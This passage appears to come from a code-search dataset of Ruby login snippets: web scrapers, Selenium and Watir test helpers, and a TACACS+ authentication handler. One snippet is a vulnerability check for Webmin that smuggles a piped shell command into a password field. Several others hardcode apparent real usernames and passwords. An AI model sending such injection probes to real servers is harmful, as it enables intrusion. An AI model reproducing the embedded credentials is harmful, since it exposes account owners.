\"Step 2 : Failed. Login Failed\"\n\tend\n\tputs \"************** END : Login to Razoo ****************\"\t\nend", "title": "" }, { "docid": "6425a77d8eab369ca96d093209188985", "score": "0.58247346", "text": "def submit_login\n\n @@agent.get \"#{BASE_URL}/divanet/\"\n @@agent.page.form_with(name: 'loginActionForm') do |form|\n form.field_with(name: 'accessCode').value = @user.access_code #Setting.login_id\n form.field_with(name: 'password').value = @user.password #Setting.login_password\n form.click_button\n end\n\n # # ログインに成功してたらログアウトが存在するはず\n # puts true if @@agent.page.body =~ /divanet/logout/\n end", "title": "" }, { "docid": "cc1493acc4bb27a0f5064f8234f8fc2b", "score": "0.5815893", "text": "def login(agent)\n logger.info(\"Logging in to #{LOGIN_URL}.\")\n\n login_page = agent.get(LOGIN_URL)\n form = login_page.form('frmFormsLogin')\n\n username, password = *scraper_args unless scraper_args.nil?\n form.Username = username || ask(\"username:\\n\")\n form.password = password || ask(\"password:\\n\") { |q| q.echo = \"•\" }\n\n prompts = agent.page.search(\".LoginPrompt\")\n if question = prompts[2].inner_html.strip rescue nil\n form.answer = ask( question ) { |q| q.echo = \"•\" }\n end\n\n agent.submit(form)\n sleep 3 # wait while the login takes effect\n end", "title": "" }, { "docid": "562b3174e27d2391ad100d51c1d5ba82", "score": "0.581583", "text": "def login(email_id, pass_word)\n\t\n\tputs \"************** START : Log into Razoo ****************\"\t\n\t$browser.click \"link=Log in\"\n\t$browser.wait_for_page_to_load \n\tputs \"Step 1 : Entering valid User credintials - User Name as #{email_id} and Password as #{pass_word}\"\n\t$browser.type \"user_session_email\", email_id \n\t$browser.type \"user_session_password\", pass_word\n\t$browser.click \"//button[@type='submit']\"\n\t$browser.wait_for_page_to_load \n\tbegin\n\t\tassert $browser.is_text_present(\"Login successful!\")\n\t\tputs \"Step 2 : Passed. Login was Successful!!!\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 2 : Failed. Login Failed\"\n\tend\n\tputs \"************** END : Log into Razoo ****************\"\t\nend", "title": "" }, { "docid": "9111fcc741c325e751e492f32614ecb3", "score": "0.5809343", "text": "def ascii_login_and_enable(session,new_body)\n authen_start = session.authen_start\n authen_cont = session.authen_cont\n\n if (!session.reply.body) # no previous conversation has taken place\n if (authen_start.body.user_len == 0)\n # request username\n new_body.status_getuser!\n new_body.server_msg = @tacacs_daemon.login_prompt\n else\n # request password\n session.getuser = authen_start.body.user\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n end\n\n else # make sure we got what we asked for in last reply\n if (session.reply.body.status_getuser?)\n if (authen_cont.body.user_msg_len != 0)\n # request password\n session.getuser = authen_cont.body.user_msg\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Username requested but none provided.\"\n end\n\n elsif (session.reply.body.status_getpass?)\n if (authen_cont.body.user_msg_len != 0)\n # determine pass/fail status\n username = session.getuser\n password = authen_cont.body.user_msg\n pass_fail = authenticate(username, password, session.authen_start)\n\n # set reply based on pass_fail\n if (pass_fail[:pass])\n new_body.status_pass!\n else\n new_body.status_fail!\n new_body.server_msg = pass_fail[:msg]\n end\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Password requested but none provided.\"\n end\n\n else\n # all other statuses are in error, so some sort of internal error must have occured\n new_body.status_error!\n new_body.server_msg = \"Internal Server Error. Unexpected status for ASCII login/enable: #{session.reply.body.status}\"\n @tacacs_daemon.log(:erro,['msg_type=Authentication', \"message=#{new_body.server_msg}\", \"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n\n end\n end\n\n return(nil)\n end", "title": "" }, { "docid": "485c755404e38748509d97ea027cf239", "score": "0.58028984", "text": "def initialize(user)\n mech = Mechanize.new\n mech.get('http://www.goproblems.com/') do |page|\n # Click the login link\n login_page = mech.click(page.link_with(href: /login/))\n\n # Submit the login form\n login_page.form_with(\n action: 'login.php') do |form|\n username_field = form.field_with(name: \"name\")\n username_field.value = user.username\n \n password_field = form.field_with(name: \"password\")\n password_field.value = user.password \n\n @account = form.submit\n end\n end\n\n @@current = @account\n end", "title": "" }, { "docid": "a8c701c074d10d03bf8758c3e5c4ed93", "score": "0.58028543", "text": "def auth(options = {})\n # Create new Mechanize instance to drop any old credentials.\n \n if options[:cert]\n key = options[:cert][:key]\n if key.respond_to?(:to_str) && !File.exist?(key)\n key = OpenSSL::PKey::RSA.new key\n end\n cert = options[:cert][:cert]\n if cert.respond_to?(:to_str) && !File.exist?(cert)\n cert = OpenSSL::X509::Certificate.new cert\n end\n \n @mech = mech do |m|\n m.key = key\n m.cert = cert\n end\n else\n @mech = mech\n end\n \n # Go to a page that is guaranteed to redirect to shitoleth.\n step1_page = get '/atstellar'\n # Fill in the form.\n step1_form = step1_page.form_with :action => /WAYF/\n step1_form.checkbox_with(:name => /perm/).checked = :checked\n step2_page = step1_form.submit step1_form.buttons.first\n # Click through the stupid confirmation form.\n step2_form = step2_page.form_with :action => /WAYF/\n cred_page = step2_form.submit step2_form.button_with(:name => /select/i)\n \n # Fill in the credentials form.\n if options[:cert]\n cred_form = cred_page.form_with :action => /certificate/i\n cred_form.checkbox_with(:name => /pref/).checked = :checked\n elsif options[:kerberos]\n cred_form = cred_page.form_with :action => /username/i\n cred_form.field_with(:name => /user/).value = options[:kerberos][:user]\n cred_form.field_with(:name => /pass/).value = options[:kerberos][:pass]\n else\n raise ArgumentError, 'Unsupported credentials'\n end\n \n # Click through the SAML response form.\n saml_page = cred_form.submit cred_form.buttons.first\n unless saml_form = saml_page.form_with(:action => /SAML/)\n raise ArgumentError, 'Authentication failed due to invalid credentials'\n end\n saml_form.submit\n \n self\n end", "title": "" }, { "docid": "ae9492c1199010357dd574754469a5bb", "score": "0.57537395", "text": "def init_server(space_server_url, user, pwd)\n page = @agent.get(\"https://#{space_server_url}/rhn/Login.do\")\n login = page.form('loginForm')\n login.username = user\n login.password = pwd\n button = login.button_with(:value => \"Sign In\")\n page = @agent.submit(login, button)\nend", "title": "" }, { "docid": "488346d428a5bf5ddcc4016522011f94", "score": "0.5749662", "text": "def spike_login()\n\t\tagent = Mechanize.new\n\t\tlogin = agent.get(self.spike_root_url) #Go to login page\n\t\tloginform = agent.page.forms.first #Select login form\n\t\tloginform.username = self.username\n\t\tloginform.password = self.password\n\t\tgsr = agent.submit(loginform, loginform.buttons.first) #Submit form and log in\n\t\treturn {'agent' => agent, 'gsr' => gsr}\n\tend", "title": "" }, { "docid": "d9bdd6396337e87172185c8fe4db61ae", "score": "0.5741278", "text": "def login_as_alternative(user, pass)\n\tlogin_box = LoginForm.new(@browser)\n login_box.login_as user, pass\n end", "title": "" }, { "docid": "4e5366a16cd5202cb6e9457f4f673841", "score": "0.5730621", "text": "def login\n unless (@login and @password)\n raise \"Can't log in without login and password\"\n end\n \n lform = @agent.get('https://login.yahoo.com/config/login').form('login_form')\n lform.login = @login\n lform.passwd = @password\n begin\n @agent.submit(lform, lform.buttons.first)\n rescue Exception => e\n puts \"Oops: #{e}\"\n end\n end", "title": "" }, { "docid": "3c4bbf199470dfab269a5ddf75d8ea21", "score": "0.5729054", "text": "def login( wikipath, user, pass )\n Timeout.timeout( 300 ) do\n @agent = Mechanize.new\n @agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n @agent.agent.http.reuse_ssl_sessions = false\n # @agent.agent.http.ca_file = ca_path\n if @cookies.nil?\n url = @dokuwiki_page_url + wikipath\n page = get( url )\n # Submit the login form\n wait_second\n page = page.form_with( id: 'dw__login' ) do |f|\n f.field_with( name: 'u' ).value = user\n f.field_with( name: 'p' ).value = pass\n f.checkbox_with( name: 'r' ).check\n end.click_button\n f = page.forms[ 1 ]\n @sectok = f.field_with( name: 'sectok' ).value\n @agent.cookie_jar.save( COOKIES )\n else\n @agent.cookie_jar.load( COOKIES )\n end\n end\n end", "title": "" }, { "docid": "d30fc3cee98afdc615eb52f5160fe67e", "score": "0.57165515", "text": "def login_account(username, password)\n login_form.email_txt.set username\n login_form.password_txt.set password\n login_form.login_btn.click\n end", "title": "" }, { "docid": "9e55b272d539d969df38f44505d334df", "score": "0.57089937", "text": "def do_login page\n page = page.form_with(action: \"/login\") do |f|\n f.userid = @@username\n f.password = @@password\n end.click_button \n end", "title": "" }, { "docid": "9e55b272d539d969df38f44505d334df", "score": "0.57089937", "text": "def do_login page\n page = page.form_with(action: \"/login\") do |f|\n f.userid = @@username\n f.password = @@password\n end.click_button \n end", "title": "" }, { "docid": "7b2a0a0b8fef1702b34ab52b7e83eea6", "score": "0.57042015", "text": "def authenticate(agent)\n puts \"Authenticating \".foreground(:cyan) + @user_login.foreground(:cyan) + \"...\".foreground(:cyan)\n\n # Login form submission\n page = agent.get learn_url\n form = page.forms.first\n form.username = @user_login\n form.password = @user_passw\n page = agent.submit form\n\n course_links = page.search course_html\n login_error = page.search error_html\n\n if login_error.empty? and course_links.empty?\n raise \"D2l has changed. Please contact the developer.\".foreground(:red)\n elsif !login_error.empty?\n raise \"Couldn't authenticate. Please try again.\".foreground(:red)\n end\n \n course_links\n end", "title": "" }, { "docid": "ef41c365775ccad3d7a9ab38cd784611", "score": "0.5662019", "text": "def connect(which)\n\t\taccount = Account.new(which)\n\n\t\t# Wait for page to load\n\t\tself.wait_until(TIMEOUT) do\n\t\t\tself.login_email? && self.login_email_element.visible?\n\t\tend\n\n\t\t# fill form\n\t\tself.login_email = account.email\n\t\tself.login_pwd = account.password\n\t\t# go\n\t\tself.login_go\n\t\t# Need to wait\n\t\tsleep(2)\n\tend", "title": "" }, { "docid": "b257087e6f969dbdbb7a4bf918c32883", "score": "0.5608812", "text": "def check\n # check passwd change priv\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, \"password_change.cgi\"),\n 'headers' =>\n {\n 'Referer' => \"#{peer}/session_login.cgi\"\n },\n 'cookie' => \"redirect=1; testing=1; sid=x; sessiontest=1\"\n })\n\n if res && res.code == 200 && res.body =~ /Failed/\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'cookie' => \"redirect=1; testing=1; sid=x; sessiontest=1\",\n 'ctype' => 'application/x-www-form-urlencoded',\n 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),\n 'headers' =>\n {\n 'Referer' => \"#{peer}/session_login.cgi\"\n },\n 'data' => \"user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss\" \n })\n\n if res && res.code == 200 && res.body =~ /password_change.cgi/\n return CheckCode::Vulnerable\n else\n return CheckCode::Safe\n end\n else\n return CheckCode::Safe\n end\n end", "title": "" }, { "docid": "bc8fcdd3a1ffc5baa16356331f666078", "score": "0.56076473", "text": "def login_using_link(browser_handle, user_prop, user_prop_value, username, pass_prop, pass_prop_value, password, link_prop, link_prop_value)\n browser_handle.text_field(user_prop.intern,user_prop_value).set(username)\n browser_handle.text_field(pass_prop.intern,pass_prop_value).set(password)\n browser_handle.link(/#{link_prop}/.intern, /#{link_prop_value}/).click\nend", "title": "" }, { "docid": "23b5618fb23e6b9c3678e2986312ac16", "score": "0.5607522", "text": "def login_without_usr_psd\n click_login_btn\nend", "title": "" }, { "docid": "bdb6da5306d09224eb4fe763a4c9244d", "score": "0.56016475", "text": "def execLogin\n timer = WebCrawler::startTime\n login=true\n begin\n if @vars[:loginPage]=='' then return nil end\n @session.visit @vars[:loginPage]\n @session.driver.find_css(@vars[:usernameInput]).first.set @vars[:username]\n @session.driver.find_css(@vars[:passwordInput]).first.set @vars[:password]\n if @vars[:captcha]!=''\n @session.driver.find_css(@vars[:captchaInput]).first.set @vars[:captcha]\n end\n @session.driver.find_css(@vars[:loginSubmit]).first.click\n rescue Selenium::WebDriver::Error::WebDriverError ,\n Selenium::WebDriver::Error::UnknownError => e\n WebCrawler::logError 'webcrawler.driver', e.message\n login=false\n rescue => e\n WebCrawler::logError 'webcrawler.login', e.message\n login=false\n end\n WebCrawler::logTime timer, 'login.visit', @vars[:loginPage]\n if ((@vars[:sleepLogin]).to_i)>0\n sleep(((@vars[:sleepLogin]).to_i.to_f)/1000)\n end\n return login\n end", "title": "" }, { "docid": "4dbd18949411de673cc697e78a09e8e5", "score": "0.5593182", "text": "def login_user_with_interface(username, password)\n activate_authlogic \n visit login_path\n click_link \"Connexion | Inscription\"\n fill_in 'user_session_username', :with => username\n fill_in 'user_session_password', :with => password\n click_button \"Connexion\"\n wait_for_ajax \nend", "title": "" }, { "docid": "e47e0ecb6a87b1890e3c459d611a5ea9", "score": "0.5590415", "text": "def login(email_id, pass_word)\n\t\n\tputs \"************** START : Login to Razoo ****************\"\t\n\tsleep 10\n\t#***************** Link position check *****************#\n\t@loginlink_topposition = @browser.get_element_position_top \"link=Log in\"\n\tputs \"Login link Top position : #{@loginlink_topposition}\"\n\tif @loginlink_topposition == '44'\n\t\tputs \"UI Check : Pass. Login link is present at the correct position in Home screen.\"\n\telse\n\t\tputs \"UI Check : Fail. Login link is not present at the correct position in Home screen.\"\n\tend\n\t@browser.click \"link=Log in\"\n\t@browser.wait_for_page_to_load \n\tsleep 5\n\tputs \"Step 1 : Entering valid User credintials - User Name as #{email_id} and Password as #{pass_word}\"\n\t@browser.type \"user_session_email\", email_id \n\t@browser.type \"user_session_password\", pass_word\n\t#***************** Button position check *****************#\n\t@loginbutton_topposition = @browser.get_element_position_top \"//button[@type='submit']\"\n\tputs \"Login button Top position : #{@loginbutton_topposition}\"\n\tif @loginbutton_topposition == '488'\n\t\tputs \"UI Check : Pass. Login button is present at the correct position in Login screen.\"\n\telse\n\t\tputs \"UI Check : Fail. Login button is not present at the correct position in Login screen.\"\n\tend\n\t@browser.click \"//button[@type='submit']\"\n\t@browser.wait_for_page_to_load \n\tbegin\n\t\tassert @browser.is_text_present(\"Login successful!\")\n\t\tputs \"Step 2 : Passed. Login was Successful!!!\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 2 : Failed. Login Failed\"\n\tend\n\tputs \"************** END : Login to Razoo ****************\"\t\nend", "title": "" }, { "docid": "972a8da7235f1e0776325305dfd59171", "score": "0.5586485", "text": "def login(username, password)\n begin\n @agent.get(LOGIN_FORM_URL) do |page|\n saml_page = page.form_with(:action => LOGIN_URL) do |login|\n login.USER = username\n login.PASSWORD = password\n login.TARGET = MY_USAGE_URL\n end.submit\n token = saml_page.form_with(:action => SAML_URL).submit\n usage_page = token.form_with(:action => MY_ENERGY_USE_URL).submit\n @data_page = usage_page.link_with(:text => \"Green Button - Download my data\").click\n end\n @authenticated = true\n rescue Exception => e\n @last_exception = e\n return false\n end\n end", "title": "" }, { "docid": "6e2f8c05e1c9fa836434cecfe8b971e1", "score": "0.558636", "text": "def login(agent, user, pass, service_id)\n @log.info(\"Login...\")\n login_page = agent.post('https://account.samsung.com/account/check.do', {\n :actionID => \"StartAP\",\n :serviceID => \"n7yqc6udv2\",\n :serviceName => \"SmartAppliance\",\n :domain => \"eu.samsungsmartappliance.com\",\n :countryCode => \"GB\",\n :languageCode => \"en\",\n :registURL => \"http://global.samsungsmartappliance.com/UserMgr/SSOSignIn\",\n :returnURL => \"http://global.samsungsmartappliance.com/Home/Index\",\n :goBackURL => \"http://global.samsungsmartappliance.com/Home/Index\",\n :idCheckURL => \"\",\n :signInURL => \"\",\n :signUpURL => \"http://global.samsungsmartappliance.com/UserMgr/SSOModifyUser\",\n :profileUpdateURL => \"http://global.samsungsmartappliance.com/UserMgr/SSOModifyGo\",\n :termsURL => \"http://global.samsungsmartappliance.com/UserMgr/termsGBen\",\n :privacyPolicyURL => \"http://global.samsungsmartappliance.com/UserMgr/privacyPolicyGBen\"\n })\n\n login_page.form['inputUserID'] = user\n login_page.form['inputPassword'] = pass\n login_page.form['serviceID'] = service_id\n login_page.form['remIdCheck'] = 'on'\n login_page.form.action = 'https://account.samsung.com/account/startSignIn.do'\n\n start_sso = login_page.form.submit\n finish_sso = start_sso.form.submit\n\n agent.cookies\n end", "title": "" }, { "docid": "318b521ff67f8a9f90b848156c975876", "score": "0.5580092", "text": "def login_with_proper_credentials\r\n\r\n set_text(USERNAME_TEXTFIELD_NAME, VALID_USERNAME)\r\n set_text(PASSWORD_TEXTFIELD_NAME, VALID_PASSWORD)\r\n\r\n click_on_button(SUBMIT_BUTTON_ID)\r\n\r\n end", "title": "" }, { "docid": "b475399c6c209ca67d2f79e1bba3a761", "score": "0.55759865", "text": "def Login(username, password, testcase_no) \n @driver.find_element(:id, LoginMenu_Link).click\n @driver.find_element(:id, UserName_EB).clear\n @driver.find_element(:id, UserName_EB).send_keys \"zenqafleet\"\n @driver.find_element(:id, Password_EB).clear\n @driver.find_element(:id, Password_EB).send_keys \"g00dt3st!ng\"\n @driver.find_element(:name, Login_Btn).click\n if(\"You have successfully logged in.\"==(@driver.find_element(:css, Flash_Notice).text ))\n Results(\"#{testcase_no}\", \"Logged into the application successfully\", \"PASS\", \"\")\n else\n Results(\"#{testcase_no}\", \"Couldn't login to the application\", \"FAIL\", $error_screenshots)\t\n end \nend", "title": "" }, { "docid": "006b7d21ac4be50604ac8031bd7b65e8", "score": "0.5574816", "text": "def login_clark\n top_login_button.click\n login_page.text\n \n user_email.send_keys($test_data['prod_email'])\n user_password.send_keys($test_data['prod_password'])\n\n login_button.click\n sleep 3\n profile_displayed\n end", "title": "" }, { "docid": "58c6810a074c90fca7302bb75bc2de00", "score": "0.55416393", "text": "def admin_login_method\n prompt = TTY::Prompt.new\n password = \"offandon\"\n\tpasswordfailcount = 0\n\t# Password login loop\n while passwordfailcount < 3\n puts \"\"\n if prompt.mask(\"Welcome to the application. Please enter your password:\") != password\n passwordfailcount += 1\n puts \"Incorrect. Please try again. Attempt #{passwordfailcount} of 3.\"\n else\n main\n end\n end\nend", "title": "" }, { "docid": "32e661a77c16982f289a8746a8cb6322", "score": "0.55377257", "text": "def login_rave\n @session = Capybara::Session.new(:selenium)\n @session.visit \"https://conlabtesting93.mdsol.com/\"\n @session.find('#UserLoginBox').set 'defuser'\n @session.find('#UserPasswordBox').set 'password'\n @session.find('#LoginButton').click\n end", "title": "" }, { "docid": "8479fa2b5a226f775e90edd773e3c4d2", "score": "0.5485623", "text": "def initialize(username, password)\n @agent = Mechanize.new\n @valid_credentials = false\n login(username, password)\n end", "title": "" }, { "docid": "a281a8f6c676f54a4a7d6b8bf2dfdc57", "score": "0.5485528", "text": "def login \n headless = Headless.new\n headless.start\n \n @browser = Watir::Browser.start LOGIN_URL\n\n # Delete all expired cookies\n delete_cookies_if_expire\n # Use unexpired cookies that match the given email and password\n the_cookies = use_cookies\n\n # Fresh login\n if the_cookies.nil?\n browser.text_field(id: 'username').set email\n browser.text_field(id: 'password').set password\n browser.button(name: 'button').click\n save_cookies\n # Cookies still exist\n else\n browser.cookies.clear\n the_cookies.each do |cookies|\n browser.cookies.add(cookies[:name], cookies[:value])\n end\n browser.goto BASE_URL \n end\n end", "title": "" }, { "docid": "00f2b8a9b006e560000a61add000eddf", "score": "0.5483621", "text": "def login\n begin\n File.open(\"#{Settings.root}/tmp/cookies.txt\").read \n rescue Exception => e\n `curl --user-agent \"#{user_agent}\" -s -c #{Settings.root}/tmp/cookies.txt http://online.wsj.com/home-page` \n `curl --user-agent \"#{user_agent}\" -s -c #{Settings.root}/tmp/cookies.txt -d \"user=justin@justinrich.com&password=2p2aia5\" http://commerce.wsj.com/auth/submitlogin` \n end\n true\n end", "title": "" }, { "docid": "1536e98d51877db1bda8fcf962950da0", "score": "0.54833263", "text": "def open\n\n step = \"r-login\"\n begin \n\n # R-login\n debug \"R-Login start\"\n login_page1 = get_rms_page(LOGIN_URL)\n form = login_page1.forms[0]\n form.field_with(:name => 'login_id').value = @auth_parameters[:AUTH1_ID]\n form.field_with(:name => 'passwd').value = @auth_parameters[:AUTH1_PWD]\n\n debug \"R-Login first auth execute.\"\n sleep(1)\n login_page2 = form.click_submit_button\n\n form = login_page2.forms[0]\n unless form.field_with(:name => 'action').value.to_s == VAL_R_LOGIN_SUCCESS\n raise LoginFailedError.new('R-Login failed.')\n end\n debug \"R-Login first auth successed.\"\n\n # Rakuten Member Login\n step = \"rmember-login\"\n form.field_with(:name => 'user_id').value = @auth_parameters[:AUTH2_ID]\n form.field_with(:name => 'user_passwd').value = @auth_parameters[:AUTH2_PWD]\n\n debug \"R-Member login second auth execute.\"\n sleep(1)\n announce_page = form.click_submit_button\n form = announce_page.forms[0]\n unless form.field_with(:name => 'action').value.to_s == VAL_R_MEM_LOGIN_SUCCESS\n raise LoginFailedError.new('Raketen Member Login failed.')\n end\n debug \"R-Member second auth successed.\"\n\n step = \"announce-page\"\n sleep(1)\n notice_page = form.click_submit_button\n unless notice_page.uri.to_s.index(VAL_ANNOUNCE_SUCCESS_URI)\n raise LoginFailedError.new('Notice Page Move failed.')\n end\n debug \"rms announce page passed.\"\n\n step = \"notice-page\"\n sleep(1)\n main_menu_page = notice_page.forms[0].click_submit_button\n \n if main_menu_page.uri.to_s != VAL_MAINMENU_SUCCESS_URI\n raise LoginFailedError.new('Mainmenu Move failed.')\n end\n\n debug \"rms notice page passed, and main menu page called\"\n # single sign-on for logon rms sub-system\n# main_menu_html = @current_page.body.to_s.tosjis\n# lst_img_tag = main_menu_html.scan(/<img src=\\\"(https:\\/\\/[^\\\"]+)\\\"/i)\n# raise \"parse failed for single sign-on\" if lst_img_tag.empty?\n# lst_img_tag2 = []\n# lst_img_tag.select {|tag|\n# path = tag[0]\n# if is_single_signon_path(path)\n# @rms_session.get(path)\n# sleep(0.3)\n# end\n# }\n\n debug \"single sign-on start.\"\n main_menu_page.search('img').each {|img|\n path = img.attributes['src'].to_s \n if is_single_signon_path(path)\n get(path)\n sleep(1)\n end\n }\n debug \"single sign-on end.\"\n\n @open_rms = true\n @last_page = main_menu_page\n self\n rescue LoginFailedError => err\n raise err\n rescue => other_err\n warn \"error occured step:[#{step}]\"\n raise other_err\n end\n end", "title": "" }, { "docid": "47a28a35753636629e0942af76877066", "score": "0.5481908", "text": "def finish\n\t\tbegin\n\t\t\twait = Selenium::WebDriver::Wait.new(:timeout => 5)\n\t\t\tbegin # Handles A/B testing\n\t\t\t wait.until { $selenium_driver.find_element(:id => \"newPassword\").displayed? }\n\t\t\t $selenium_driver.find_element(:id, \"newPassword\").clear\n\t\t\t $selenium_driver.find_element(:id, \"newPassword\").send_keys params[:password]\n\t\t\t $selenium_driver.find_element(:id, \"confirmPassword\").clear\n\t\t\t $selenium_driver.find_element(:id, \"confirmPassword\").send_keys params[:password]\n\t\t\t $selenium_driver.find_element(:id, \"reset-password-submit-button\").click\n\t\t\trescue Selenium::WebDriver::Error::TimeOutError => e\n\t\t\t\twait.until { $selenium_driver.find_element(:id => \"challenge-input\").displayed? }\n\t\t\t $selenium_driver.find_element(:id, \"challenge-input\").clear\n\t\t\t $selenium_driver.find_element(:id, \"challenge-input\").send_keys params[:temp_code]\n\n\t\t\t wait = Selenium::WebDriver::Wait.new(:timeout => 5)\n\t\t\t\twait.until { $selenium_driver.find_element(:css, \"div.cp-challenge-actions.form-actions > input.btn-submit\").displayed? }\n\t\t\t $selenium_driver.find_element(:css, \"div.cp-challenge-actions.form-actions > input.btn-submit\").click\n\t\t\t \n\t\t\t wait = Selenium::WebDriver::Wait.new(:timeout => 5)\n\t\t\t\twait.until { $selenium_driver.find_element(:id => \"new_password-newPassword-passwordReset\").displayed? }\n\t\t\t\t$selenium_driver.find_element(:id, \"new_password-newPassword-passwordReset\").clear\n\t\t\t $selenium_driver.find_element(:id, \"new_password-newPassword-passwordReset\").send_keys params[:password]\n\t\t\t $selenium_driver.find_element(:id, \"new_password_again-newPassword-passwordReset\").clear\n\t\t\t $selenium_driver.find_element(:id, \"new_password_again-newPassword-passwordReset\").send_keys params[:password]\n\t\t\t $selenium_driver.find_element(:id, \"reset\").click\n\t\t\tend\n\n\t \trender :json => {\"website\": \"linkedin\", \"status\": \"Password reset successful!\"} # Replace WEBSITE with appropiate website name\n\n\t rescue Exception => e\n\t\t\tputs e.to_s\n\t\t\tputs e.backtrace\n\t\t\trender :status => 500, :json => {\"website\": \"linkedin\", \"status\": \"Password reset failed!\"} # Replace WEBSITE with appropiate website name\n\t\tend\n\tend", "title": "" }, { "docid": "8c2f0525108e15458b1a789f4ec06e50", "score": "0.5473358", "text": "def login_to_lfcom(username, password)\r\n visit LFSOAP::CONST_LF_LOGIN_URL\r\n fill_in 'atg_loginEmail', with: username\r\n fill_in 'atg_loginPassword', with: password\r\n click_button 'Log In'\r\n end", "title": "" }, { "docid": "282516ba387ca0f46222eb563923382d", "score": "0.54721767", "text": "def basic_authentication_ie(title, username, password, options = {})\r\n default_options = {:textctrl_username => \"Edit2\",\r\n :textctrl_password => \"Edit3\",\r\n :button_ok => 'Button1'\r\n }\r\n\r\n options = default_options.merge(options)\r\n\r\n title ||= \"\" \r\n if title =~ /^Connect\\sto/\r\n full_title = title\r\n else\r\n full_title = \"Connect to #{title}\"\r\n end\r\n require 'rformspec'\r\n login_win = RFormSpec::Window.new(full_title)\r\n login_win.send_control_text(options[:textctrl_username], username)\r\n login_win.send_control_text(options[:textctrl_password], password)\r\n login_win.click_button(\"OK\")\r\n end", "title": "" }, { "docid": "315559fe90c3b7f1025a0f0997a24460", "score": "0.5466327", "text": "def sign_up( data )\n\n # assert url starts with 'https://listings.expressupdateusa.com/Account/Register'\n puts 'Signing up with email: ' + data[ 'personal_email' ]\n\n @browser.goto 'https://listings.expressupdateusa.com/Account/Register'\n\n @browser.text_field(:id => 'Email').set data['email']\n @browser.text_field(:id => 'Password').set data['password']\n @browser.text_field(:id => 'ConfirmPassword').set data['password']\n @browser.text_field(:id => 'Phone').set data['phone']\n @browser.text_field(:id => 'BusinessName').set data['business_name']\n @browser.text_field(:id => 'FirstName').set data['firstname']\n @browser.text_field(:id => 'LastName').set data['lastname']\n @browser.select_list(:id => 'State').select data['state']\n @browser.checkbox(:id => 'DoesAcceptTerms').set\n\n\nenter_captcha\n\n@browser.button(:class => 'RegisterNowButton').click\n\n # If no return URl then 'Thank You for Registering with Express Update. An activation email sent!'\n\nself.save_account(\"Expressupdateusa\", { :email => data['personal_email'], :password => data['password']})\n\n\nif @chained\n self.start(\"Expressupdateusa/Verify\")\nend\n\n\ntrue \nend", "title": "" }, { "docid": "146b3d5005a79610da8b2ea7932f886d", "score": "0.5464546", "text": "def submit_act_code(act_code)\n act = register_form.act_code_txt.value\n register_form.act_code_txt.set act_code unless act == act_code\n page.find('#btnSubmitForm', wait: 3).click\n sleep 3 # Wait for loading Login page\n end", "title": "" }, { "docid": "d2ea7a8c90a3821fc7711165fd1a49a2", "score": "0.5464248", "text": "def Surveyhead_sm_login(email,passwd)\n \n # New IE instance creation\n driver = Selenium::WebDriver.for :firefox, :profile => \"Selenium\"\n ff = Watir::Browser.new driver\n #ff.maximize\n\n # Opening Usampadmin site\n ff.goto('http://www.sm.p.surveyhead.com')\n\n # Setting login credentials (email/password)\n ff.text_field(:name, \"txtEmail\").set(email)\n ff.text_field(:name, \"txtPassword\").set(passwd)\n #Click login button\n ff.button(:value, \"Login\").click\n sleep 15\n if(ff.link(:id,\"sb-nav-close\").exists?)\n\t ff.link(:id,\"sb-nav-close\").click\n end\n sleep 5\n \n if(ff.div(:id=>\"loadingSurveys\").exists?)\n\t while ff.div(:id=>\"loadingSurveys\").visible? do\n\t\t sleep 0.5\n\t\t puts \"waiting for surveys to load\"\n\t end\n end\n \n \n # Checkpoint to verify that login was successful\n raise(\"Sorry! System Failed to login to Usampadmin\") unless ff.link(:text,'Logout').exists?\n return ff\n end", "title": "" }, { "docid": "c2cdb5d787773f5b531b9185dcc6d4c4", "score": "0.54632574", "text": "def main\n puts \"Testing redirection to payment form...\"\n\n a = Mechanize.new\n\n a.get(ENV.fetch('FEE_PAYMENT_URL')) do |page|\n search_page = a.click(page.link_with(text: /Start now/))\n results_page = search_for_case(search_page, ENV.fetch('CASE_WITH_FEE_REF'), ENV.fetch('CASE_WITH_FEE_CONF_CODE'))\n payment_page = choose_credit_card(a, results_page)\n\n test_payment_form payment_page\n end\n\n puts_green \" Passed.\"\nend", "title": "" }, { "docid": "ce382e0109f858db7f1b27cdca60a5da", "score": "0.5461805", "text": "def daw_login_prompt\n logger.debug '[rdaw] redirecting to login form.'\n rdaw_logout\n\n if respond_to?(:rdaw_login_url, true)\n url = rdaw_login_url\n else\n prefix = Rdaw.const_defined?('DAW_EXTERNAL_URL_PREFIX') ? Rdaw::DAW_EXTERNAL_URL_PREFIX : Rdaw::DAW_URL_PREFIX\n url = [prefix, '/login?appIdKey=', Rdaw::APP_ID_KEY, encoded_daw_return_path].tap do |a|\n a << \"&rv=#{Rdaw::APP_RV}\" if Rdaw.const_defined?('APP_RV')\n end.join\n end\n\n redirect_to(url) and return false\n end", "title": "" }, { "docid": "ea82798c1c321d8ad8e64333907c3fdf", "score": "0.5458737", "text": "def Surveyhead_login(email,passwd)\n\n # New IE instance creation\n driver = Selenium::WebDriver.for :firefox, :profile => \"Selenium\"\n ff = Watir::Browser.new driver\n #ff.maximize\n\n ff.goto('http://www.p.surveyhead.com')\n # Setting login credentials (email/password)\n #ff.link(:id,\"memLogin\").click\n ff.text_field(:name, \"txtEmail\").set(email)\n ff.text_field(:name, \"txtPassword\").set(passwd)\n\n ff.button(:value,\"Login\").click\n sleep 15\n if(ff.link(:id,\"sb-nav-close\").exists?)\n\t ff.link(:id,\"sb-nav-close\").click\n end\n sleep 5\n \n if(ff.div(:id=>\"loadingSurveys\").exists?)\n\t while ff.div(:id=>\"loadingSurveys\").visible? do\n\t\t sleep 0.5\n\t\t puts \"waiting for surveys to load\"\n\t end\n end\n \n raise(\"Sorry! System Failed to login to Usampadmin\") unless 